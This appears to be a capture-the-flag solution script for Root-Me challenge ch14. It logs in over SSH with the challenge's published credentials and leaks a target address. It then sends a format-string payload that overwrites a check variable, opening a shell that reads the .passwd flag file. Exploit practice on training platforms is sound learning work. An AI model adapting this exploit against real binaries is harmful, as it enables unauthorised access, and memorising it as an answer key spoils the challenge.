86 lines
2.2 KiB
Python
Executable File
86 lines
2.2 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
import base64
|
|
import re
|
|
import shlex
|
|
|
|
import paramiko
|
|
|
|
|
|
HOST = "challenge02.root-me.org"
|
|
PORT = 2222
|
|
USER = "app-systeme-ch14"
|
|
PASSWORD = "app-systeme-ch14"
|
|
BIN = "/challenge/app-systeme/ch14/ch14"
|
|
|
|
|
|
FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn"
|
|
|
|
|
|
def p32_le(value: int) -> bytes:
|
|
value &= 0xFFFFFFFF
|
|
return bytes(
|
|
(
|
|
value & 0xFF,
|
|
(value >> 8) & 0xFF,
|
|
(value >> 16) & 0xFF,
|
|
(value >> 24) & 0xFF,
|
|
)
|
|
)
|
|
|
|
|
|
def make_remote_cmd(payload: bytes) -> str:
|
|
b64 = base64.b64encode(payload).decode()
|
|
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
|
|
return "python3 -c " + shlex.quote(py)
|
|
|
|
|
|
def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
|
|
cmd = make_remote_cmd(payload)
|
|
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
|
|
return stdout.read().decode("latin-1", "ignore")
|
|
|
|
|
|
def main() -> None:
|
|
ssh = paramiko.SSHClient()
|
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
|
|
|
|
try:
|
|
total_len = 8 + len(FMT_TAIL)
|
|
probe = b"A" * total_len
|
|
|
|
probe_out = run_read_all(ssh, probe, pty=True)
|
|
m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out)
|
|
if not m:
|
|
raise RuntimeError("could not parse check address from probe output")
|
|
check_addr = int(m.group(1), 16)
|
|
print(f"[+] check address: 0x{check_addr:08x}")
|
|
|
|
payload = p32_le(check_addr)
|
|
payload += p32_le(check_addr + 2)
|
|
payload += FMT_TAIL
|
|
|
|
if len(payload) != total_len:
|
|
raise RuntimeError("payload length changed; probe and exploit would desync")
|
|
|
|
cmd = make_remote_cmd(payload)
|
|
stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True)
|
|
stdin.write("id\n")
|
|
stdin.write("cat .passwd\n")
|
|
stdin.write("exit\n")
|
|
stdin.flush()
|
|
|
|
out = stdout.read().decode("latin-1", "ignore")
|
|
print(out)
|
|
|
|
if "check=0xdeadbeef" in out:
|
|
print("[+] exploitation successful")
|
|
else:
|
|
print("[-] exploitation failed")
|
|
finally:
|
|
ssh.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|